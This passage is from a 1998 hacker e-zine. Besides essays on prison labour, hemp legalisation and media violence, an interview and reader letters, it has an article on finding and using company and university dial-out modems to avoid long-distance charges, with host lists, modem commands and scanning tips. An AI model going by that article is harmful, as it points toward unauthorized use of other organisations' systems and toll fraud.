youths' tasks included taking credit card information from TWA customers, as well as other personal information. Prison industries were embarrassed on quite a few occasions when some youths used the credit information obtained from TWA customers for their own purposes. It is unfortunate that innocent people suffered, and not TWA for their decision to save a few bucks on the backs of their customers. There is currently only one force that has had some success in battling the proliferation of prison industries. Labour unions. In 1992, Weastec Corporation used Ohio inmates to manufacture parts for Honda. The inmates earned 35 cents an hour from the state of Ohio. Meanwhile, the inmates' slavemasters received $2.05 per hour from Weastec. The United Auto Workers fought against this corrupt practice because it threatened "union jobs even more than cheap parts imported under NAFTA," said UAW Region 2 Director Warren Davis. The UAW received assistance from a Ohio State Representative, and several bills were drafted to ban prisons from taking jobs away from private sector civilians. Although the bill died in the Ohio Senate, Honda backed down due to negative publicity, breathing a sigh of relief that no laws were past to stop their depraved acts of greed in the future. Another corrupt practice the U.S. is engaging is that they are exporting the prison made goods overseas. At the same time the United States bashed Communist China for doing exactly the same thing. The U.S. Federal law (which is obviously not enforced) which prohibits domestic commerce in prison made goods unless inmates are paid "prevailing wage." However, to save greedy prison operators from joining their slave workforce, the law conveniently exempts goods produced for export. American prisoners working in prison factories are thought of the same way as Chinese prisoners, and cheap, abused Asian and Mexican labour. It is also sickening that the United States and Communist China use the same excuse to justify making their prisoners work like slaves. To quote a Chinese warden, "We want prisoners to learn a working skill." Working skills? They learn obsolete skills that are only useful in prison industries because private sector manufacturing industries are being wiped out by very low labour costs from within their own communities. All prison industries prepares them for is to resume their slave labour when they are convicted of a crime after release. How can it be any other way when there are no jobs out there for them? Obviously, only the fat cats that run the prisons (whether it is government or corporately operated) and those that exploit the slave labour the inmates provide. Although the U.S. Government claims that their prisoners willingly volunteer, it is clear that there is only one logical choice. If a prisoner chooses not to `volunteer' to work in the prison industry, he is threatened. Punishments include the loss of canteen privileges, and worse the inmate is considered to be "behaving badly" so there will be no time off for good behaviour. In some prisons, it has been reported that some men were put into solitary confinement for refusing to become slaves within industrial prisons. What has been evolving within the United States is growing in other industrialized nations as well. Prison industry gives them little third world city-states in which prisoners are exploited for the benefit of extremely low labour costs. As more and more prisons are built, more inmates will be forced into slave labour, and more jobs in the private sector will be lost. That will lead to greater unemployment within the working class, which will lead to more people forced to perform criminal acts in order to survive. That will send more people to prison. Prisons will fill up, and more prisons will need to be built. This cycle is neverending. The only winners are the greedy manufacturers and prison industry operators that take advantage of domestic slave labour. Written by Shatazar ú Damage, INC. (C)opyright 1998. DRUGS DISCUSSION - {DRUGS} A Case for Legalization: First, I want to dispel a few common myths. Hemp and Marijuana aren't the same. The two plants may look similar to each other on the surface but they are very different. The colour and shape of their leaves is misleading to some people. There are also certain people that *want* you to be mislead and remain misinformed. Damage, INC. wants you to become informed about this issue. Thus, I've decided to start this article with some facts and information. You can smoke Hemp and you won't get high. The reason is that Hemp contains no THC. Without THC, it's not a drug. That is what separates it from Marijuana. Just because two things appear to be alike, doesn't mean that they are the same. Always remember that. Also, Hemp is a very useful plant. It can be used to make many products and certain companies have recently started to discover its usefulness. For example, the luxury car maker Mercedes uses Hemp in the seats of some of their cars now. Adidas produces running shoes made from Hemp. It can be used in clothing, shoes, shampoo, foods like pizza etc. (Yes, Hemp seeds are edible and quite tasty). That's not all though, it provides strong fibres for ropes and industrial products. It can also be used to manufacture paper products. The oil from Hemp seeds is also being used in various products. It's been reported that there are over 25,000 products that can be made from industrial hemp. The possible uses are almost endless for this amazing plant. Yet, it was banned in Canada, The United States and many other countries about six decades ago. The Journalist explained why in the last issue of the Damage, INC. Newsletter. Only in the last year has it been permitted to grow Hemp legally as a crop in the province of Ontario, Canada. Of course, the Government is involved and it's strictly monitored and regulated by them. Was Hemp ever farmed in the past? Yes, most definitely. It was farmed for centuries in the United States. Some notable Hemp farmers of the past are George Washington, Benjamin Franklin, and Thomas Jefferson. Those are some prominent figures from American History that you should easily recognize. ;) Quotes: "Hemp is of first necessity to the wealth and protection of the country!" - Thomas Jefferson "Make the most you can of the hemp seed and sow it everywhere." - George Washington Medical Hemp can be used for the treatment of Cancer, AIDS, Asthma, Glaucoma, Nausea Relief, Epilepsy, Emphysema Therapy, Migraines and many other illnesses. Some doctors now prescribe it to their patients, legally and in many cases illegally when it's necessary. Other seriously ill patients have fought to have the right to smoke or ingest marijuana legally. In almost every case, they are systematically denied the right to do so. Personally, I feel that anyone that wants to use a plant such as cannabis should be allowed to, regardless of what the government thinks. Our bodies are our own. The government should stay out of it and quit trying to control us. It's unethical for them to attempt to prevent sick people from using something that heals their illnesses or is of comfort to them in my opinion. Therefore, they are wrong to interfere and exert the "power of the law" to try to stop anything that has medicinal, economic, ecological and energy saving purposes. Also, there hasn't been a single recorded death attributed directly to the use of marijuana. That's the *only* reason Big Brother can't scream and shout claiming "It kills you. We're only trying to protect you." Look up the amount of deaths related to alcohol and cigarettes sometime, yet both are legal and the government profits from the taxes collected on those products. Now that some of the medical benefits of hemp have been discussed, I'll give you some ecological statistics to read and consider. hemp vs. cotton: Balance (Primary Energy input (PE) and emissions) for the life-cycle cultivation and harvesting for hemp and cotton (ifeu-Institute in NOVA 1996). Data of 1 Mt hemp are compared with those of 1 Mt of cotton. PE CO2 N2O CO2 SO2 NO2 SO2 Equiv. Equiv. GJ kg kg kg kg kg kg hemp 8,2 544 1,26 947 1,21 4,52 4,37 cotton 25,2 1.680 3,03 2.650 2,49 14,8 12,9 Substituting cotton with hemp i.e. in the textile industry would lead to significant ecological advantages. (Bocsa, Karus; 1998, Der Hanfanbau, p. 138) There are also economic and energy saving reasons that hemp should be grown and utilized. We have finite resources, the environment is being destroyed by fat cat industries, and in many countries there are food shortages due to drought and improper farming practices. Hemp is a hearty plant with many varieties that can grow in harsh climates. It's suitable for almost any type of environment. The unharnessed potential that industrial hemp has is almost unlimited. Many people, including some famous ones such as actor Woody Harrelson have realized that already and have been organizing protests etc. to further the cause, publicly state their views and demonstrate them. Of course, the petroleum, pulp and paper industry and textile industry will forever fight to make sure that hemp isn't legalized across North America. Why? Well, hemp could be a huge industry that would be in direct competition with them. Literally billions of dollars represent the reason that it's been criminal to grow hemp for decades. It's all politics and economics. In fact, the social reasons that it hasn't been decriminalized is minimal. There seem to be enough enlightened people in many parts of this continent that realize the benefits of hemp. However, individuals can't legalize hemp by remaining silent about the issue or speaking softly in private. That simply won't work towards correcting the great wrong that was done approximately 60 years ago. If you need more economic benefits, if hemp *and* marijuana were legalized, the drug wars would be minimized significantly. Law enforcement and government resources could be dedicated to other things that are more important to our well being. Wouldn't you like to see our tax dollars being spent wisely rather than on prosecuting teenagers that were busted for possession? I most definitely would. The cost of prosecuting someone for possession of marijuana, filling out paper work for court cases, wasting a judge's time, housing them in jail and making sure they have a criminal record for life (plus, restricting them from crossing the border) etc. is almost immeasurable. It's such a waste. It is the real crime as far as I'm concerned... and the government is responsible. Also, is selling a bag of weed to a friend such a big "criminal activity"? I don't consider anyone that does that to be a drug dealer. Yet, that's exactly what they are labelled as being. It's ridiculous. Think about how much of a fucking joke it really is. Why are they continuing to do that in many parts of this country? Why are they destroying the lives of our youths and taking away their future? As in, their job opportunities are extremely limited if they get a criminal record because of something so trivial and meaningless. It's sickening. Holland should be the example for the world. The savings on court and jail costs alone for that country must be immense. I can't even imagine the amount that the U.S. spends on prosecuting and housing people that were either selling or in possession of marijuana. Don't they realize that there is no way that they can stop people from importing, exporting, growing, smoking, selling it no matter how much money they throw away? I hope that eventually "society" evolves its way of thinking and finally realizes how stupid this "drug war" against hemp and marijuana is and has been. It is truly absurd and illogical. Their sense of morality and logic are totally flawed. It's fucked. If they want to catch criminals, they should start looking at themselves. In a future article, I am going to discuss how cops steal drugs (directly from citizens on the street and "evidence" that's already at the police station) as well as propaganda slogans and techniques that they use on the general public to influence and brainwash them. As in, they say "Selling/Smoking marijuana isn't a victimless crime." "That it's a gateway drug." "Marijuana is addictive and harmful." etc. I also want to review some of the anti-drug commercials that I've seen on television. Basically, this article is just a sample of what will follow. If you want more information on hemp, there are literally thousands of internet sites that you can check out that offer good information. Simply use a search engine (like altavista) and search for "hemp". ;) Here's a quick comment on the new public service announcements on television (or rather, propaganda commercials)... The one that shows a girl standing in a kitchen smashing dishes with a frying pan, saying "This is what it does to your family..." etc. is one of the better ones that I've seen. It's hilarious. At the end she asks "Any questions?" while looking right into the camera. Here are five questions that I think she would enjoy being asked: 1. Do you want to fuck? 2. Have you ever been baked? 3. Do you want to smoke a bowl with me sometime? 4. Why does talking about drugs make you so excited? 5. How much money were you paid to do that commercial? Written by BLACKENED ú Damage, INC. (C)opyright 1998. H/P INFORMATION AND NEWS - {H/P} Internet outdials: This is going to be a brief article summing up Internet outdials. Outdials used to be extremely popular in the 80's and early 90's hacking era. Now that everyone and their dog has visited Matt's script archive and has a WWW board running or idles for hours on IRC, Outdials have become passe'. First let me explain what an Internet outdial is and what it is intended to be used for. Companies who don't want to go through the bother or worry of installing modems in all of their users computers will install one and connect it to the Internet for all users to access, both on and offsite. Employees can telnet to modem.company.com, enter a few commands and dial in to a companies database, server, or any company system that may require telephone access. Most outdials will only call local exchanges. There are some called GODS or Global Outdials which you can call world wide, but they are sparse so if you come across one, consider yourself lucky, don't give it out and don't abuse it. Why should you be interested in Internet outdials. Well the obvious reason is exploration. If you connect to the modem and redial the last number, chances are you've just found that companies/universities computer. Another reason to use outdials is computer/processing time. You can use it to scan exchanges. If you connect to an outdial in 619 now you can scan systems in San Diego without paying ld charges. The final reason for using outdial and the reason they became popular in the 80's is to call ld BBS systems. If you know of a cool BBS in 202 you can look for an outdial in that AC, connect to it and dial up the BBS. Traditionally to find an outdial you would have to be on one of the X.25 packet switched networks, sprintnet, datapac, rosnet etc. To connect to these outdials you either had to be on a host on that particular network, have a valid NUI (Network User Identifier) or hope the NUA accepts collect calls. A lot of the PADS you connect to there would also be outdials. Some were passworded, some were not. When you connected to a NUA that had an outdial you would get a message similar to "Call Connected" "Hayes Modem" or "MODEM 312" typing HELP or ? will give you a list of commands. There are scanners available specifically for X.25 networks. If you don't have a valid NUI or access to x.25 networks you can still access outdial via the Internet. This is the most common way outdials are accessed today, since everyone seems to have forgotten about packet switched networks. All you have to do is telnet to modem.victim.com and enter in the modem initialization instructions an or password. Once you figure out what area code the modem is in, your set to start dialing. Another way I have heard that you can access an outdial is by connecting to a Cisco router and scanning for ports that answer in the 2000-2020 range. If there is not password, type enable and then ATZ to dial out. I have not personally tested this method. When you connect to an outdial there are any number of commands that you can try to initialize the modem. ATZ ATDT9 ATDT8 Connect (hayes) Modem Hayes Dial Dialout Call West Virginia Network was kind enough to give us instructions on using their outdials at http://wvnvm.wvnet.edu/~roman/dialout.html How do you find outdials? Well by scanning. You can scan on the PSN using wardialers, datapac specific scanners and general ones like Ultradial are available on the Internet and good h/p BBSes. You can scan blocks of IP addresses using any of the various ip scanners currently available for *NIX, Windows and Mac. I suggest scanning universities ip ranges. The last way and the easiest is to find good updated outdial lists. A lot of these lists have been passed down over the years and recompiled over and over. DeadKat and the guys who put out the COTNO zine used to have an updated one, (Issue #2 and #5) Voyager used to include one in his 2600 faq which he hasn't updated in years and I suspect he is finished with it. Recently our Russian komrade Cyberlirik released an updated list that includes both X.25 and Internet outdials. You can find his list in the most recent CodeZero release "Confidence Remains High" #8 (crh-008.zip). It is up to Blackened as to whether he wants to include those lists in this release. I'll append portions of them to the end of this article. If not, you can find the zines on any good h/p Board (such as AJFA) and on the Internet at ftp.sekurity.org. I have been gathering this information for years and it comes from a variety of sources, 2600 faq, COTNO, Cyberlirik, Codezero, KM's haq faq, PhiberX, BBSes, chats, email, usenet and everywhere else. If I forgot you, whoops.... - Breaker Here is the good stuff Credit to above people and then some... Germany 0130 Toll-Free Scans: 824767 Multiple USA Meridian Mail VMB System (Outdial:0*5106,0*..) 824772 USA Meridian Mail System (Outdial: 0*..) 824775 VMB Extendor (MainBox:486) Supposed Outdial: 0,0.. Working Outdials [100% for 304/319/413/800/804/814 NPAs] x.25 NPAs:204.306.403.416.418.506.514.519.604.613.709.902.905 on 18.09.97 Compiled by Lirik@hotmail.com => 207.222.215.67 <= [alt2600.faq: An Internet outdial is a modem connected to the Internet than you can use to dial out. Normal outdials will only call local numbers. A GOD (Global OutDial) is capable of calling long distance. Outdials are an inexpensive method of calling long distance BBS's.] Note NPA IP/commands/Dial mask/Phones !!! 304 DIALOUT.WVNET.EDU (No parity) 1800 DIALOUTE.WVNET.EDU (Even parity) ATDT 9,xxxxxxx http://wvnvm.wvnet.edu/~roman/dialout.html test phone atdt35001 !!! 319 ISN.IASTATE.EDU. or isn.rdns.iastate.edu DIAL: MODEM or HELP ATDT8xxx-xxxx !!! 413 dialout2400.smith.edu | dialout.smith.edu Ctrl+} gives PLACE AUTOCAL press y, wait for CALL COMPLETE atdt9,,xxx-xxxx Independent Nation (413)573-1809 !!! 804 ublan.acc.virginia.edu / ublan.virginia.edu 1800 ublan2.acc.virginia.edu >>connect telnet >>connect hayes atdt9,,xxx-xxxx CPN 804-847-2501 !!! 814 dialout.psu.edu atdt8xxxxxxxxxx 1800 CompuServe 2400 82387910 Telenet 2400 82311510 Tymnet 2400 82343853 DEC. 9600 7AM-Midnight EST 818002341998 Port name: _LTA4974: x.25 network access only [NUI required] NPAs:204.306.403.416.418.506.514.519.604.613.709.902.905 DATAPAC 3101 (ASYNC/ITI) OUT-DIAL PORT ADDRESSES Outdial Ports (accept only prePAID calls!) The Destination terminal must be set to 7E1 in order to receive the outdial call 1) ENTER THE 7-DIGIT TELEPHONE NUMBER (LOCAL) OF THE DESTINATION TERMINAL. 2) DATAPAC WILL RESPOND WITH: DIALING/COMPOSITION DU NUMERO (XXX-XXXX) 3) DATAPAC WILL THEN INDICATE: RINGING/SONNERIE AS THE MODEM DETECTS RINGBACK TONE. 4) WHEN THE DESTINATION MODEM ANSWERS THE CALL, DATAPAC WILL SEND THE FOLLOWING MESSAGE TO THE ORIGINATING END: CALL CONNECTED/COMMUNICATION ETABLIE NPA City (PROVINCE) SPEED NUA ADDRESS --- --------------- ----- ------------- 403 Calgary (ALTA) 300 0302063300900 1200 0302063300901 416 Clarkson (ONT) 300 0302091900900 1200 0302091900901 403 Edmonton (ALTA) 300 0302058700900 1200 0302058700901 902 Halifax (NS) 300 0302076101900 1200 0302076101901 905 Hamilton (ONT) 300 0302038500900 1200 0302038500901 519 Kitchener (ONT) 300 0302033400900 1200 0302033400901 519 London (ONT) 300 0302035600900 1200 0302035600901 514 Montreal (QUE) 300 0302082700902 1200 0302082700903 613 Ottawa (ONT) 300 0302085700901 1200 0302085700902 Working Outdials ---------------- as of 12/29/94 NPA IP Address Instructions --- ---------- ------------ 215 isn.upenn.edu modem 217 dialout.cecer.army.mil atdt x,xxxXXXXX 218 modem.d.umn.edu atdt9,xxxXXXX 303 yuma.acns.colostate.edu 3020 412 gate.cis.pitt.edu tn3270, connect dialout.pitt.edu, atdtxxxXXXX 413 dialout2400.smith.edu Ctrl } gets ENTER NUMBER: xxxxxxx 502 outdial.louisville.edu 502 uknet.uky.edu connect kecnet @ dial: "outdial2400 or out" 602 acssdial.inre.asu.edu atdt8,,,,,[x][yyy]xxxyyyy 614 ns2400.acs.ohio-state.edu 614 ns9600.acs.ohio-state.edu 713 128.249.27.153 atdt x,xxxXXXX 714 modem.nts.uci.edu atdt[area]0[phone] 804 ublan.virginia.edu connect hayes, 9,,xxx-xxxx 804 ublan2.acc.virginia.edu connect telnet connect hayes Need Password ------------- 206 rexair.cac.washington.edu This is an unbroken password 303 yuma.ACNS.ColoState.EDU login: modem 404 128.140.1.239 .modem8|CR 415 annex132-1.EECS.Berkeley.EDU "dial1" or "dial2" or "dialer1" 514 cartier.CC.UMontreal.CA externe,9+number 703 wal-3000.cns.vt.edu dial2400 -aa *** Note from Damage, INC. - If anyone does any scanning and wants to share their list of outdials, dialups etc. then contact us at damage_inc@mailcity.com. Specify whether or not you want it to be published. Also, the baud rates (300/1200 baud) for the DATAPAC outdials are a little outdated, so don't let that discourage you from using them. My final comment is, if you want to find some DATAPAC dialups, look in the phone book for the ones in your NPA. ;) ú - NEWS - ú L0pht at Senate Hearings. Check out www.l0pht.com for more details. The L0pht site also offers information, recent news, articles, a lounge and links etc. SatanicDreams is now a Damage, INC. Distribution Site for the 604 NPA. Slash-X's board will distribute our releases in British Columbia (and hopefully throughout Psycho/2_Net via file distribution in the future). If you want to call there and download issues of the Damage, INC. Newsletter, simply logon using the following account: #: 1-6o4-93o-2o61 bps: 3oo-336oo login: damage inc password: damage phone #: 000-000-0000 birthdate: 00/00/00 You can contact Slash-X through Email at Slash-X@dec.canbbs.net if you require more information about his board and/or his net, Psycho/2_Net. We're working on getting some h/p boards as Damage, INC. Dist. Sites in other area codes (Provinces and States). Contact us if you are a Sysop that's interested in distributing our releases on your board. A brand new section called Breaker's Reviews has been added to the Damage, INC. Newsletter. It'll be a regular section that will be carried in future issues. At my request, Breaker has written reviews for some high quality h/p web sites that I've published. I suggested that every reader check them out. Credit and thanks goes out to Breaker for making valuable contributions towards this issue. ;) You can contact him in Email on FoI and AJFA if you think you know of some worthy h/p and security related sites that should be reviewed. Also, the Damage, INC. Newsletter is currently available at: http://members.tripod.com/~damage_inc It should be noted that it's still under construction. Leave any comments and suggestions to us at damage_inc@mailcity.com. In the subject, specify what it's regarding such as "Letter to the Editor", "Comments", "Suggestions", "Feedback", "Article Submission" etc. as examples. If your message concerns the above web site, make sure that it's clearly directed to Shatazar by putting "Damage, INC. Site" as the subject, or something equally effective at notifying him. You'll get a faster response from him that way. If you want to contact me privately, leave mail to blackened@coldmail.com... Written by BLACKENED ú Damage, INC. (C)opyright 1998. INTERVIEWS AND INTERROGATIONS - {INTERVIEWS} An Interview of Blackie Lawless: This is a very recent interview that was recorded during a voice conversation I had with Blackie Lawless. We hadn't spoken in almost a month, so many topics were discussed at length. Not everything was transcribed from tape to this text file as not all portions were relevant to this interview. He agreed to do the interview as long as he wasn't asked certain questions. I respect him and his privacy, therefore that request wasn't a problem. At any rate, here it is. Enjoy... = BLACKENED = Blackie Lawless (Anything inside of brackets was added by me to explain abbreviations etc.) - Introduce yourself to the readers of the Damage, INC. Newsletter. - I've been known exclusively as Blackie Lawless for many years now. I'm sure that some of the old users on AJFA recognize the alias and remember me. I can't remember when I first called your board, or even what software you were running at the time. I just recall that you were on a V/X (virus exchange and research) board here in the States and invited me to call your board. Before that, we used to post messages to each other in Swash_Net and some of the other nets of that era like VX_NET, NuKE_NET, RaBiD_NET etc. At that point in time, I was just exploring some ld boards and reading the "underground" virus and some of the pirate nets. Everything was still new to me then, and I had a lot to learn. Back then, I was still calling warez boards and such. I was also interested in viruses and virus source code. Ah yes, those were the days man. I doubt if most people reading this even remember Swash_Net and the warez cracking groups back then. But that was then, and this is now. - Yeah, that was back when Dark Coffin was still around...(formerly The Crypt Newsletter HQ in the 215 NPA) That was a cool board. I kind of miss some of those old nets man. Anyways, how did you enter the h/p scene? - I was on some V/X boards and noticed that there were some text files online like CuD (Computer Underground Digest), Phrack etc. I downloaded some issues and after reading them I wanted to call some h/p boards to check them out. After that, I basically quit calling boards that carried viruses and began reading and learning about hacking, phreaking, security, various operating systems etc. That was while I was in high school. Then I went off to college. That's basically when I really started to get involved in it. I started calling a lot of ld h/p boards, going to various Hacker Cons etc. and wanted to know about everything that I could. I found out about using codes to call ld and wanted to learn more about the telco and how things worked. Then there were the loops, bridges, Alliance Conferences, Telenet, Datapac, and eventually I discovered a little thing called the Arpanet. Then I got into university outdials, hacking PBXs, VMBs, 1-800 extenders etc. It was all a lot of fun. - That's cool. Do you want to mention what university you attended? - No, I'd rather not. - Alright. That's fine man... I should've been better prepared to do this interview. I don't have any set list of questions to ask you. Anyways, you obviously progressed after you originally found out about the existence of h/p boards and text files. Didn't you briefly work as a PBX system installer? - Yes, in fact I did. That was a couple of years ago though. I'm not at liberty to say where I work or what I do now. My employer doesn't have a clue about my past, what I'm into, or the fact that I'm doing this interview. I'd like to keep it that way too. - No problem man. In the past though, you were a Unix admin though right? Have you ever considered working for a Telco as a security consultant or anything related to that field? - Yes, I was a Unix admin in the past. No, I have never considered working for a Telco in any capacity. I haven't had any job offers like that either. However, I won't say that I'll rule out that type of work in the future. I think it would be quite interesting. - I hope you don't take this the wrong way, but would you ever collaberate with the SS (Secret Service) or FBI? I mean, to track down hackers/phreaks and get people that you know busted? Obviously, I'm not accusing you of doing that. I just wondered, if in a hypothetical situation in which *you* were busted and would serve say 5+ years in prison as an example... would you take a deal to serve 6 months in exchange for ratting on people or helping the FBI bust them for shit? As in, setting people up, recording conversations, collecting evidence against them etc.? - That's a very interesting and provocative question. It's difficult to say what I'd do in that situation. If it meant ratting on my good friends, I don't think that I could do that. However, 5 years of one's life is a long time to spend in prison. So, if it only meant helping them catch malicious hackers that I don't know very well, I would probably accept that in order to get a light sentence. Who wouldn't? I'm no fool. Then again, I wouldn't like working with the FBI either, as I'm not a snake in the grass. Some people are made to be narcs. Others aren't. I don't believe that I'm the narc type, but if I was forced into it and threatened with a really long sentence, then I'd have to think about the choices and accept whatever consequences that would result from it. - Yeah. One wrong choice can really fuck up your life. I wasn't implying that you're a narc or anything like that man. I trust you and you know that I don't trust many people. Squeeling on a friend or setting them up is the worst thing that you can do. It's nice to hear that you wouldn't do that. Anyway, what do you think is wrong with the h/p scene these days? - The kids expect too much to be done for them. They want passwords, codes, accounts, information on HOW-TO do whatever... which isn't the right approach to take. It's about learning on your own. It's about exploring systems. That's the fun of hacking. Being told exactly how to do something in a text file isn't the point of it in my opinion. It's changed so much with the internet and the popularity of AOL with the kiddies. That's what is unfortunate. Plus, there are codes kids that think they're phreaks after using an extender or dialing out through a VMB or PBX. It's become a joke. They have no respect for the true phreaks, the veterans of the h/p scene. It is laughable that they get dropped off by their parents at a Hacker Con and go crazy since it's the first time they've been away from home on their own, unsupervised. The main problem is that they want to be given information, instead of wanting to seek it out and find it. It's not free. That's something they should realize. Do you agree? - Yeah, I agree with you. What do you think of the people that think they're better than everyone else? You know, the ones that think they're l33t hax0rs? I'm not referring to the people that can truly be described as elite... but rather the lame wannabes. - It's lame. It's pathetic. It's disgusting to read the shit they write. That's all I can think of to comment on that. That's about all that should be said. - What do you think of Telnet h/p boards? - There's nothing wrong with them. They're keeping the bbs scene alive in a weird way... I still enjoy posting messages on h/p boards once in a while. I wouldn't mind calling a few overseas h/p boards sometime. I think that if your local scene is filled with immature idiots or is dead, then why not run a Telnet board and get ld users from all over? There's nothing wrong with that. Of course, there's nothing wrong with dialup boards either. - Okay. Now back to some questions about you. How'd you get your alias? - Obviously, it's from the lead singer of the group W.A.S.P. They're an old heavy metal group. I started using this handle in the 80s. It's stuck with me ever since. - So, are you still into listening to metal? Or, do you listen to a wide variety of music? - A very wide variety... everything from hard rock, alternative, metal, and classical. I'm open to other types of music as well. My musical tastes are as vast as my personality. - Yeah, since we've known each other for quite a few years...I know what your personality is like quite well. Hehe. - Indeed you do. What other questions do you wish to ask? - I don't know how long this interview will be once it's published in text format. Therefore, I'll end it now. If we haven't covered everything, then we can always do a second interview in the future if you'd like. - Alright. I'm willing to do that. Thanks for giving me the opportunity to be interviewed man. I'd also like to thank Damage, INC. and give a shout out to the users in 519 that remember me. - Thanks for agreeing to be interviewed man. I hope to continue this at another time, so that I can ask you some questions about certain h/p related things like your most memorable experiences, accomplishments, goals for the future etc. Anyways, we can move on to discussing other things now... < INTERVIEW ENDS > LETTERS TO THE EDITOR - {LETTERS} More feedback about the Damage, INC. Newsletter: This is your forum for feedback. Send all comments, suggestions, and questions regarding articles to damage_inc@mailcity.com. The following message was written by Mase on his board Area-51. ------------------------------------------------------------------------------- Date: 10:57 am Thu May 7, 1998 Number : 9 of 9 from: Mase Base : Reviews & Comments To : All Refer #: None Subj: feedback Replies: None Stat: Normal Origin : Local This is my letter of to the editor in regards of the Damage, INC. newsletter #8. I have read all the newsletters up to date and just finished reading the first newsletter which I never finished :) I read this issue (#8) in about 30-35 minutes and was hooked from article 1. The Damage, INC. newsletter is a great magazine for many reasons but one of them is more outstanding IMO. The newsletter is informative, not only for the hackers & phreaks but it also gives alot of interesting, informative articles on government/ufo/conspiracies which is my favourite sections of the newsletter. I also enjoy the Damage, INC. newsletter because it gives prespectives of the mass-media, and an interesting look at GREED and also offers opinions which are good because you find out what other people think about certain subjects. The Damage, INC. newsletter #8 offered the best information on cloning out of any recent text files which I have read (most from 98) It offered names, cloning attempts, scientific information which really grasped me. I have a few questions and suggestions for the Damage, INC. group. How long have you been around?! I know you didnt release an article and thats when it started, you must have been around for longer right?! I like that it has a topic below the date and the issue number. The last one for example, "We Keep You Honest" was a cool topic for the latest issue. I also liked that their is a bigger and more explict copyright notice right before the Introduction to the Damage, INC. newsletter section. I think that might help prevent lamers who commit copyright infringements, and think a lame apology will take care of it. That was one improvement I enjoyed in the newsletter. I also have 1 suggestion for the Damage, INC. newsletter... it says at the bottom "any feedback or letters to the editor should be sent to BLACKENED, or on a Damage, INC. board near you. He can also be contacted via Echomail/Netmail in several nets" I think it would be better for LD readers, or readers that only call 1 board that you be more specific to which nets so they can reach Blackened alot easier. Also maybe somewhere in the newsletter include a list of all the members, coders, artists, writers, etc who are involved in the Damage, INC. newsletter. If that is too much, include a list with updated members everytime a new member has been introduced. That is all my feedback for the Damage, INC. newsletter. Keep them coming (on time) like they have been 8 for 8 and keep them informative and keep the readers wanting more (speaking for myself) MA$E ------------------------------------------------------------------------------- Editor - Thanks for the feedback man. As you know, we always appreciate hearing from our loyal readers. As for the compliments about the articles that we've written thus far, they are well taken. We'll try to continue writing interesting, informative articles that include our opinions. Personally, I feel that it's important to write about things from our own perspective, rather than that of others. Also, I'm glad you enjoyed reading my article on cloning and benefitted from the information contained within it. I did research the topic, had been thinking about it for many months and wanted to write it as objectively as possible... to show both sides of the issue. As for the large Disclaimer and Copyright Notice, I hope that it's noticeable now and obeyed by those that read the newsletter. We put a tremendous amount of work and time into putting together this relatively small publication... and don't want that effort to be wasted. As in, when someone rips something such as this off it shows that they have no respect whatsoever for what we're doing and trying to accomplish. I agree, adding that was an improvement since it was greatly needed to make things clear. Your suggestions have been noted and will be considered by us. The quote "We keep you honest." for the last issue was selected by Shatazar (in case anyone was interested in knowing)... and I felt that it was suitable. It set the tone and established a theme for the Damage, INC. Newsletter issue #8 in my opinion. I've changed the portion of the newsletter that describes how I can be contacted. Now it specifically states "CCi Net, Psycho/2 Net" so that readers can contact me easier. That was something that I had previously overlooked, so thanks for the good suggestion man. As for the list of Damage, INC. Members, Writers etc. that's another good suggestion that I'm going to use. Check out the DAMINFO.ANS file that's included with this issue. It'll be updated whenever changes occur. As for your question, I wasn't completely sure if you were asking how long *I* have been around, or when Damage, INC. started. The Damage, INC. FAQ will answer those types of questions for everyone. OBJECTIVE OPINIONS - {OPINIONS} Violence. Reader discretion is advised: This program contains violent content. Viewer discretion is advised. I'm sure you've seen those words preceding certain television programs. It's meant to be a warning to viewers. Basically, it notifies them about depictions of violent scenes (or in some cases, course language, mature scenes etc.) that will be seen in the following program. I realize that this article will most likely be deemed "controversial" by many people. However, that doesn't concern me. I honestly don't care what is politically correct, and have publicly stated that many times. There isn't enough real violence depicted in the media (on television, in newspapers, in movies etc.) in my opinion. You might consider that to be a strong statement, a false statement, or an absurd statement to make. That is, most people in "society" just don't say or write things such as that. Why not? The answer is simple. They fear the truth and don't want to face reality. The truth is that there's more violence in "society" than there is on television or in the movies. That's just reality. You can try to run and hide from it, but it will still exist. It won't change. It won't go away. Violence in "society" isn't suddenly going to vanish into oblivion...even if it's removed from all media sources. In this instance, the media isn't to blame. The media isn't guilty. Television and movie producers aren't responsible for making people go on shooting sprees. They aren't using guns to kill, nor are they telling the viewers to go out and start killing everyone. Therefore, the zombies that are searching for someone to blame are wrong when they shift it onto the back of the medium of their choice. Meaning, lyrics in music, video games, text/printed articles, movies, television shows, comics, radio shows, and concerts aren't responsible for what violent acts individuals choose to do. "Kill", "Born to Kill", "Shoot to Kill", "Natural Born Killers", "Kill 'em All". Those are just a few short phrases. I could list many others, include graphical images or animations etc. Would that make those words more effective at brainwashing or influencing you? Is it that easy to influence someone to kill? I hope that people have more willpower and intelligence than that. I know that the zombies don't though. The problem is that "society" wants someone to blame whenever there's an incident such as a kid shooting his classmates. Obviously, things like video games, comic books, music, movies, watching too much television are easy targets for them to use as excuses. They don't want to find out the real reason that things like that are happening. "Society" is violent. Visit a jail or a prison sometime or talk to the guards that work there. They know about the cases of inmates that live there before they even arrive. The mass media in general doesn't show enough *real* violence. It's scripted. It's fake. It's not reality. It's not even a realistic portrayal of what goes on in "society". Even the most accurate, violent, movies and television shows can't compare to what we can witness in daily life. The reason is that it simply can't be done. The only things that come close are certain documentaries that interview actual prison inmates, take actual footage from inside prisons etc. Even then, the camera can distort reality. It also only records events from one perspective, which is what the cameraman is witnessing and pointing towards. Plus, it's edited, directed, cut apart, censored etc. before you even see it. In other words, Hollywoodized material is fiction and not fact. It's the picture of "society" that they want you to see... and not what actually exists. As for the violent stories on the news, they aren't creating violence. They're simply reporting it... and obviously profiting from it. If you don't like seeing it, you can change the channel. That won't stop it though. It'll only prevent you temporarily from seeing it. So, that's not the solution to the problem. Once you open your eyes, you will see it again. You can't avoid it that easily. How does the media depict violent events? Is it a school shooting a feeding frenzy? Do they glorify and sensationalize violence when they report on the consequences of events such as that? Does it desensitize people? Should violent events such as that be censored? Do kids get ideas from watching it? Does the media make anyone go on a murder rampage? Should kids be getting their morals and ethics from the government and media, or someplace else? Will they try to imitate another teenager that's killed people at their school if they watch the news? Is the media the cause of violence? Should they be allowed to show live coverage (such as the recent suicide in L.A. that took place on a freeway and was shown live after they disrupted other programming)? Should there be a delay of a few seconds so that they have a chance to make a decision about whether or not to show violent scenes like that? Is television itself influencing people to go out and do those types of violent things? The question that's always asked is "Who's to blame?" whenever there is a school shooting or another violent incident 